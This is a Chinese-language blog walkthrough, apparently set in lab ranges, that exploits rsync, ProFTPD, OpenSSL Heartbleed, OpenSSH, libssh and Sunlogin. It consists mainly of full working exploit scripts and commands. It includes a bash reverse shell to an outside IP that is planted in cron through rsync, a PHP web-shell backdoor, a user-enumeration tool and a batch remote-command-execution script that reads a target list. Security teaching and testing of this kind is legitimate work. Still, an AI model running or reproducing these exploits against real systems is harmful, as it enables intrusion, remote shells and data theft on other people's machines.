应用协议漏洞

应用协议漏洞

一、rsync

  • rsync是Linux下一款数据备份工具,支持通过rsync协议、ssh协议进行远程文件传输。其中rsync协议默认监听873端口
1.未授权访问
  • 打开靶场

    在这里插入图片描述

  • 判断漏洞是否存在

    rsync rsync://目标ip:端口
    

    在这里插入图片描述

  • 读取文件

    rsync rsync://47.99.49.128:873/src/tmp/
    

    在这里插入图片描述

  • 下载文件

    rsync rsync://47.99.49.128:873/src/etc/passwd ./
    

    在这里插入图片描述

  • 上传文件

    rsync -av passwd rsync://47.99.49.128:873/src/tmp/passwd
    

    在这里插入图片描述

  • 获取shell

    • 查看crontab中的内容,发现有一个每17分钟执行一次/etc/cron.hourly文件的定时任务

      rsync rsync://47.99.49.128:873/src/etc/crontab ./ 
      

      在这里插入图片描述

    • 发现每17分钟执行/etc/cron.hourly文件,我们创建一个反弹shell的文件覆盖该文件

      vim shell
      
      内容:
      bash -i >& /dev/tcp/120.46.39.24/8848 0>&1
      
      赋权:chmod +x shell 
      
      覆盖文件:
      rsync -av shell rsync://47.99.49.128:873/src/etc/cron.hourly
      

      在这里插入图片描述

      在这里插入图片描述

    • MSF批量验证

      use auxiliary/scanner/rsync/modules_list  进入rsync漏洞扫描模块
      show options    查看模块配置方法
      set rhosts file:/tmp/ip.txt    批量扫描,指定字典
      set threads 10    配置线程
      

      在这里插入图片描述

    • 【+】代表有漏洞,【*】没有

      在这里插入图片描述

二、ProFTPD

  • 一个Unix平台上或是类Unix平台上 (如Linux, FreeBSD等)的FTP服务器程序
1.RCE(cve-2015-3306)
  • https://github.com/t0kx/exploit-CVE-2015-3306

  • 打开靶场

    在这里插入图片描述

  • EXP

    #!/usr/bin/env python
    # CVE-2015-3306 exploit by t0kx
    # https://github.com/t0kx/exploit-CVE-2015-3306
    
    import re
    import socket
    import requests
    import argparse
    
    class Exploit:
        def __init__(self, host, port, path):
            self.__sock = None
            self.__host = host
            self.__port = port
            self.__path = path
    
        def __connect(self):
            self.__sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            self.__sock.connect((self.__host, self.__port))
            self.__sock.recv(1024)
    
        def __exploit(self):
            payload = "<?php echo passthru($_GET['cmd']); ?>"
            self.__sock.send(b"site cpfr /proc/self/cmdline\n")
            self.__sock.recv(1024)
            self.__sock.send(("site cpto /tmp/." + payload + "\n").encode("utf-8"))
            self.__sock.recv(1024)
            self.__sock.send(("site cpfr /tmp/." + payload + "\n").encode("utf-8"))
            self.__sock.recv(1024)
            self.__sock.send(("site cpto "+ self.__path +"/backdoor.php\n").encode("utf-8"))
    
            if "Copy successful" in str(self.__sock.recv(1024)):
                print("[+] Target exploited, acessing shell at http://" + self.__host + "/backdoor.php")
                print("[+] Running whoami: " + self.__trigger())
                print("[+] Done")
            else:
                print("[!] Failed")
    
        def __trigger(self):
            data = requests.get("http://" + self.__host + "/backdoor.php?cmd=whoami")
            match = re.search('cpto /tmp/.([^"]+)', data.text)
            return match.group(0)[11::].replace("\n", "")
    
        def run(self):
            self.__connect()
            self.__exploit()
    
    def main(args):
        print("[+] CVE-2015-3306 exploit by t0kx")
        print("[+] Exploiting " + args.host + ":" + args.port)
    
        exploit = Exploit(args.host, int(args.port), args.path)
        exploit.run()
    
    if __name__ == "__main__":
        parser = argparse.ArgumentParser()
        parser.add_argument('--host', required=True)
        parser.add_argument('--port', required=True)
        parser.add_argument('--path', required=True)
        args = parser.parse_args()
    
        main(args)
    
  • 执行exp

    python3 exploit.py --host 47.99.49.128 --port 56714 --path "/var/www/html"
    

    在这里插入图片描述

  • 执行命令

    :57867/backdoor.php?cmd=id
    

    在这里插入图片描述

三、SSH

  • OpenSSH 是SSH协议的免费开源实现。SSH协议族可以用来进行远程控制, 或在计算机之间传送文件
  • OpenSSL 是一个开源的软件库,使用包含了众多加解密算法,用于传输层安全性 (TLS) 和安全套接字层 (SSL) 协议的强大、商业级和功能齐全的工具包
  • libssh 是一个提供SSH相关接口的开源库,包含服务端、客户端等。其服务端代码中存在一处逻辑错误,攻击者可以在认证成功前发送`MSG_USERAUTH_SUCCESS消息,绕过认证过程,未授权访问目标 SSH 服务器
1.心脏出血(CVE-2014-0160 版本很少)
  • 受影响版本

    OpenSSL 1.0.2-beta
    OpenSSL 1.0.1 - OpenSSL 1.0.1f
    
  • 打开靶场

    在这里插入图片描述

  • MSF进行验证

    search heartbleed   查找攻击模块
    use auxiliary/scanner/ssl/openssl_heartbleed    选择攻击模块
    show options     查看需要设置的参数
    set RHOST  设置对应的主机
    set RPORT   设置对应的端口
    set verbose true     设置verbose为true是为了 看到泄露的信息
    run    执行
    

    在这里插入图片描述

在这里插入图片描述

  • EXP获取敏感数据

    #!/usr/bin/python
    
    # Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)
    # The author disclaims copyright to this source code.
    
    import sys
    import struct
    import socket
    import time
    import select
    import binascii
    import re
    from optparse import OptionParser
    
    options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
    options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
    
    def h2bin(x):
        return binascii.unhexlify(x.replace(' ', '').replace('\n', ''))
    
    hello = h2bin('''
    16 03 02 00 dc 01 00 00 d8 03 02 53
    43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf
    bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00
    00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88
    00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c
    c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09
    c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44
    c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c
    c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11
    00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04
    03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19
    00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08
    00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13
    00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00
    00 0f 00 01 01
    ''')
    
    hb = h2bin('''
    18 03 02 00 03
    01 40 00
    ''')
    
    def hexdump(s: bytes):
        for b in range(0, len(s), 16):
            lin = [c for c in s[b : b + 16]]
            hxdat = ' '.join('%02X' % c for c in lin)
            pdat = ''.join((chr(c) if 32 <= c <= 126 else '.' )for c in lin)
            print('  %04x: %-48s %s' % (b, hxdat, pdat))
    
        print("")
    
    def recvall(s, length, timeout=5):
        endtime = time.time() + timeout
        rdata = b''
        remain = length
        while remain > 0:
            rtime = endtime - time.time()
            if rtime < 0:
                return None
            r, w, e = select.select([s], [], [], 5)
            if s in r:
                data = s.recv(remain)
                # EOF?
                if not data:
                    return None
                rdata += data
                remain -= len(data)
        return rdata
    
    
    def recvmsg(s):
        hdr = recvall(s, 5)
        if hdr is None:
            print('Unexpected EOF receiving record header - server closed connection')
            return None, None, None
        typ, ver, ln = struct.unpack('>BHH', hdr)
        pay = recvall(s, ln, 10)
        if pay is None:
            print('Unexpected EOF receiving record payload - server closed connection')
            return None, None, None
        print(' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay)))
        return typ, ver, pay
    
    def hit_hb(s):
        s.send(hb)
        while True:
            typ, ver, pay = recvmsg(s)
            if typ is None:
                print('No heartbeat response received, server likely not vulnerable')
                return False
    
            if typ == 24:
                print('Received heartbeat response:')
                hexdump(pay)
                if len(pay) > 3:
                    print('WARNING: server returned more data than it should - server is vulnerable!')
                else:
                    print('Server processed malformed heartbeat, but did not return any extra data.')
                return True
    
            if typ == 21:
                print('Received alert:')
                hexdump(pay)
                print('Server returned error, likely not vulnerable')
                return False
    
    def main():
        opts, args = options.parse_args()
        if len(args) < 1:
            options.print_help()
            return
    
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        print('Connecting...')
        sys.stdout.flush()
        s.connect((args[0], opts.port))
        print('Sending Client Hello...')
        sys.stdout.flush()
        s.send(hello)
        print('Waiting for Server Hello...')
        sys.stdout.flush()
        while True:
            typ, ver, pay = recvmsg(s)
            if typ == None:
                print('Server closed connection without sending Server Hello.')
                return
            # Look for server hello done message.
            if typ == 22 and pay[0] == 0x0E:
                break
    
        print('Sending heartbeat request...')
        sys.stdout.flush()
        s.send(hb)
        hit_hb(s)
    
    if __name__ == '__main__':
        main()
    

    在这里插入图片描述

2.用户枚举(CVE-2018-15473)
  • 影响版本:OpenSSH < 7.7

  • 打开靶场

    在这里插入图片描述

  • MSF进行验证

    use auxiliary/scanner/ssh/ssh_enumusers 
    

    在这里插入图片描述

  • 使用POC进行验证

    #!/usr/bin/env python
    ###########################################################################
    #                ____                    _____ _____ _    _               #
    #               / __ \                  / ____/ ____| |  | |              #
    #              | |  | |_ __   ___ _ __ | (___| (___ | |__| |              #
    #              | |  | | '_ \ / _ \ '_ \ \___ \\___ \|  __  |              #
    #              | |__| | |_) |  __/ | | |____) |___) | |  | |              #
    #               \____/| .__/ \___|_| |_|_____/_____/|_|  |_|              #
    #                     | |               Username Enumeration              #
    #                     |_|                                                 #
    #                                                                         #
    ###########################################################################
    # Exploit: OpenSSH Username Enumeration Exploit (CVE-2018-15473)          #
    # Vulnerability: CVE-2018-15473                                           #
    # Affected Versions: OpenSSH version < 7.7                                #
    # Author: Justin Gardner, Penetration Tester @ SynerComm AssureIT         #
    # Github: https://github.com/Rhynorater/CVE-2018-15473-Exploit            #
    # Email: Justin.Gardner@SynerComm.com                                     #
    # Date: August 20, 2018                                                   #
    ###########################################################################
    
    import argparse
    import logging
    import paramiko
    import multiprocessing
    import socket
    import string
    import sys
    import json
    from random import randint as rand
    from random import choice as choice
    # store function we will overwrite to malform the packet
    old_parse_service_accept = paramiko.auth_handler.AuthHandler._handler_table[paramiko.common.MSG_SERVICE_ACCEPT]
    
    # list to store 3 random usernames (all ascii_lowercase characters); this extra step is added to check the target
    # with these 3 random usernames (there is an almost 0 possibility that they can be real ones)
    random_username_list = []
    # populate the list
    for i in range(3):
        user = "".join(choice(string.ascii_lowercase) for x in range(rand(15, 20)))
        random_username_list.append(user)
    
    # create custom exception
    class BadUsername(Exception):
        def __init__(self):
            pass
    
    # create malicious "add_boolean" function to malform packet
    def add_boolean(*args, **kwargs):
        pass
    
    # create function to call when username was invalid
    def call_error(*args, **kwargs):
        raise BadUsername()
    
    # create the malicious function to overwrite MSG_SERVICE_ACCEPT handler
    def malform_packet(*args, **kwargs):
        old_add_boolean = paramiko.message.Message.add_boolean
        paramiko.message.Message.add_boolean = add_boolean
        result  = old_parse_service_accept(*args, **kwargs)
        #return old add_boolean function so start_client will work again
        paramiko.message.Message.add_boolean = old_add_boolean
        return result
    
    # create function to perform authentication with malformed packet and desired username
    def checkUsername(username, tried=0):
        sock = socket.socket()
        sock.connect((args.hostname, args.port))
        # instantiate transport
        transport = paramiko.transport.Transport(sock)
        try:
            transport.start_client()
        except paramiko.ssh_exception.SSHException:
            # server was likely flooded, retry up to 3 times
            transport.close()
            if tried < 4:
                tried += 1
                return checkUsername(username, tried)
            else:
                print('[-] Failed to negotiate SSH transport')
        try:
            transport.auth_publickey(username, paramiko.RSAKey.generate(1024))
        except BadUsername:
                return (username, False)
        except paramiko.ssh_exception.AuthenticationException:
                return (username, True)
        #Successful auth(?)
        raise Exception("There was an error. Is this the correct version of OpenSSH?")
    
    # function to test target system using the randomly generated usernames
    def checkVulnerable():
        vulnerable = True
        for user in random_username_list:
            result = checkUsername(user)
            if result[1]:
                vulnerable = False
        return vulnerable
    
    def exportJSON(results):
        data = {"Valid":[], "Invalid":[]}
        for result in results:
            if result[1] and result[0] not in data['Valid']:
                data['Valid'].append(result[0])
            elif not result[1] and result[0] not in data['Invalid']:
                data['Invalid'].append(result[0])
        return json.dumps(data)
    
    def exportCSV(results):
        final = "Username, Valid\n"
        for result in results:
            final += result[0]+", "+str(result[1])+"\n"
        return final
    
    def exportList(results):
        final = ""
        for result in results:
            if result[1]:
                final+="++++++" + result[0] + " is a valid user!\n"
            else:
                final+=result[0]+" is not a valid user!\n"
        return final
    
    # assign functions to respective handlers
    paramiko.auth_handler.AuthHandler._handler_table[paramiko.common.MSG_SERVICE_ACCEPT] = malform_packet
    paramiko.auth_handler.AuthHandler._handler_table[paramiko.common.MSG_USERAUTH_FAILURE] = call_error
    
    # get rid of paramiko logging
    logging.getLogger('paramiko.transport').addHandler(logging.NullHandler())
    
    arg_parser = argparse.ArgumentParser()
    arg_parser.add_argument('hostname', type=str, help="The target hostname or ip address")
    arg_parser.add_argument('--port', type=int, default=22, help="The target port")
    arg_parser.add_argument('--threads', type=int, default=5, help="The number of threads to be used")
    arg_parser.add_argument('--outputFile', type=str, help="The output file location")
    arg_parser.add_argument('--outputFormat', choices=['list', 'json', 'csv'], default='list', type=str, help="The output file location")
    group = arg_parser.add_mutually_exclusive_group(required=True)
    group.add_argument('--username', type=str, help="The single username to validate")
    group.add_argument('--userList', type=str, help="The list of usernames (one per line) to enumerate through")
    args = arg_parser.parse_args()
    
    def main():
        sock = socket.socket()
        try:
            sock.connect((args.hostname, args.port))
            sock.close()
        except socket.error:
            print('[-] Connecting to host failed. Please check the specified host and port.')
            sys.exit(1)
    
        # first we run the function to check if host is vulnerable to this CVE
        if not checkVulnerable():
            # most probably the target host is either patched or running a version not affected by this CVE
            print("Target host most probably is not vulnerable or already patched, exiting...")
            sys.exit(0)
        elif args.username: #single username passed in
            result = checkUsername(args.username)
            if result[1]:
                print(result[0]+" is a valid user!")
            else:
                print(result[0]+" is not a valid user!")
        elif args.userList: #username list passed in
            try:
                f = open(args.userList)
            except IOError:
                print("[-] File doesn't exist or is unreadable.")
                sys.exit(3)
            usernames = map(str.strip, f.readlines())
            f.close()
            # map usernames to their respective threads
            pool = multiprocessing.Pool(args.threads)
            results = pool.map(checkUsername, usernames)
            try:
                if args.outputFile:
                    outputFile = open(args.outputFile, "w")
            except IOError:
                print("[-] Cannot write to outputFile.")
                sys.exit(5)
            if args.outputFormat=='json':
                if args.outputFile:
                    outputFile.writelines(exportJSON(results))
                    outputFile.close()
                    print("[+] Results successfully written to " + args.outputFile + " in JSON form.")
                else:
                    print(exportJSON(results))
            elif args.outputFormat=='csv':
                if args.outputFile:
                    outputFile.writelines(exportCSV(results))
                    outputFile.close()
                    print("[+] Results successfully written to " + args.outputFile + " in CSV form.")
                else:
                    print(exportCSV(results))
            else:
                if args.outputFile:
                    outputFile.writelines(exportList(results))
                    outputFile.close()
                    print("[+] Results successfully written to " + args.outputFile + " in List form.")
                else:
                    print(exportList(results))
        else: # no usernames passed in
            print("[-] No usernames provided to check")
            sys.exit(4)
    
    if __name__ == '__main__':
        main()
    
3.命令注入(CVE-2020-15778 价值不高)
  • 漏洞版本:<= openssh-8.3p1
4.libssh身份验证绕过(CVE-2018-10933)
  • 影响版本

    libssh 0.6 及更高版本具有身份验证绕过漏洞。
    libssh 版本 0.8.4 和 libssh 0.7.6 已发布,以解决此问题。
    
  • 打开靶场

    在这里插入图片描述

  • EXP

    因其正常连接需要输入密码,使用 EXP 向服务器显示SSH2_MSG_USERAUTH_SUCCESS消息
    代替服务器等待的SSH2_MSG_USERAUTH_REQUEST消息,以达到无登录凭据认证

    #!/usr/bin/env python3
    import sys
    import paramiko
    import socket
    import logging
    
    logging.basicConfig(stream=sys.stdout, level=logging.DEBUG)
    bufsize = 2048
    
    
    def execute(hostname, port, command):
        sock = socket.socket()
        try:
            sock.connect((hostname, int(port)))
    
            message = paramiko.message.Message()
            transport = paramiko.transport.Transport(sock)
            transport.start_client()
    
            message.add_byte(paramiko.common.cMSG_USERAUTH_SUCCESS)
            transport._send_message(message)
    
            client = transport.open_session(timeout=10)
            client.exec_command(command)
    
            # stdin = client.makefile("wb", bufsize)
            stdout = client.makefile("rb", bufsize)
            stderr = client.makefile_stderr("rb", bufsize)
    
            output = stdout.read()
            error = stderr.read()
    
            stdout.close()
            stderr.close()
    
            return (output+error).decode()
        except paramiko.SSHException as e:
            logging.exception(e)
            logging.debug("TCPForwarding disabled on remote server can't connect. Not Vulnerable")
        except socket.error:
            logging.debug("Unable to connect.")
    
        return None
    
    
    if __name__ == '__main__':
        print(execute(sys.argv[1], sys.argv[2], sys.argv[3]))
    

    在这里插入图片描述

四、向日葵

1.RCE(CNVD-2022-10207)
  • 漏洞安装包下载:https://download.csdn.net/download/weixin_46029520/88782063

  • 影响客户端版本:

    11.1.1
    10.3.0.27372
    11.0.0.33162
    
  • 发生在接口/check处,当参数cmd的值以ping或者nslookup开头时可以构造命令实现远程命令执行利用,客户端开启客户端会自动随机开启一个大于40000的端口号

  • EXP

    Usage: python exp.py -i [--host] -p [--port] -c [--command] -f [--file]
    python exp.py -i 127.0.0.1 -p 20038 -c "net user" 
    python exp.py  -f targets.txt -c "whoami"
    
    from optparse import OptionParser
    import requests
    import json
    
    
    def title():
        print("""
            
    ╔═╗┬ ┬┌┐┌╦  ┌─┐┌─┐┬┌┐┌   ╦═╗┌─┐┌─┐
    ╚═╗│ ││││║  │ ││ ┬││││───╠╦╝│  ├┤   =.=
    ╚═╝└─┘┘└┘╩═╝└─┘└─┘┴┘└┘   ╩╚═└─┘└─┘
    						    By:J2ekim
    						    向日葵v11.x RCE
            """)
    
    
    def gettoken(ip, port):
        print("http://" + ip + ":" + port)
        url = "http://" + ip + ":" + port + "/cgi-bin/rpc?action=verify-haras"
        try:
            res = json.loads(requests.get(url,verify=False, timeout=5).text)
            # print(res['verify_string'])
            return res['verify_string']
        except requests.exceptions.ConnectTimeout as _:
            print ("fail", "ConnectTimeout")
        except Exception as _:
            print ("fail", "Error")
    
    
    def RunCmd(ip, port, command,token):
        poc1 = "http://" + ip + ":" + port + "/check?cmd=ping../../../../../../windows/system32/" + command
        # poc1 = "http://" + ip + ":" + port + "/check?cmd=ping..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fsystem32%2FWindowsPowerShell%2Fv1.0%2Fpowershell.exe+"+ cmd
        cookies = {"CID": token}
        # print(cookies)
        try:
            resu = requests.get(poc1, cookies=cookies, timeout=5,verify=False).text
            print(resu)
        except Exception as _:
            return ("fail", "Error_")
    
    
    def getshell(url,command):
        try:
            print(url)
            vul_url = url + "/cgi-bin/rpc?action=verify-haras"
            reps = json.loads(requests.get(vul_url, verify=False, timeout=5).text)
            verify_string = (reps['verify_string'])
            cookies = {"CID": verify_string}
            poc11 = url + "/check?cmd=ping../../../../../../windows/system32/" + command
            poc_reps = requests.get(poc11, cookies=cookies, timeout=5, verify=False).text
            print(poc_reps)
        except TimeoutError:
            print("timeout")
        except Exception:
            print("error")
    
    
    def batch_getshell(filename,command):
        with open(filename, mode="r", encoding="utf-8") as f:
            for url in f:
                if "http" not in url:
                    url = "http://" + url
                    getshell(url,command)
                else:
                    getshell(url, command)
    
    
    def main(host,port,command):
        try:
            token = gettoken(host, port)
            RunCmd(host, port, command, token)
    
        except requests.RequestException as e:
            print(e)
    
    
    if __name__ == '__main__':
        title()
        usage = ("""Usage: python exp.py -i [--host] -p [--port] -c [--command] -f [--file]
                 python exp.py -i 127.0.0.1 -p 20038 -c "net user" 
                 python exp.py  -f targets.txt -c "whoami" """)
        parser = OptionParser(usage=usage)
        parser.add_option('-i', '--ip', dest='ip')
        parser.add_option('-p', '--port', dest='port')
        parser.add_option('-c', '--command', dest='command')
        parser.add_option('-f', '--file', dest='file')
        (option, args) = parser.parse_args()
        host = option.ip
        port = option.port
        command = option.command
        file = option.file
        if host is None and command is None and port is None :
            print(usage)
        elif file is not None:
            batch_getshell(file,command)
        else:
            main(host, port,command)
    
  • 23
    点赞
  • 22
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

果粒程1122

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值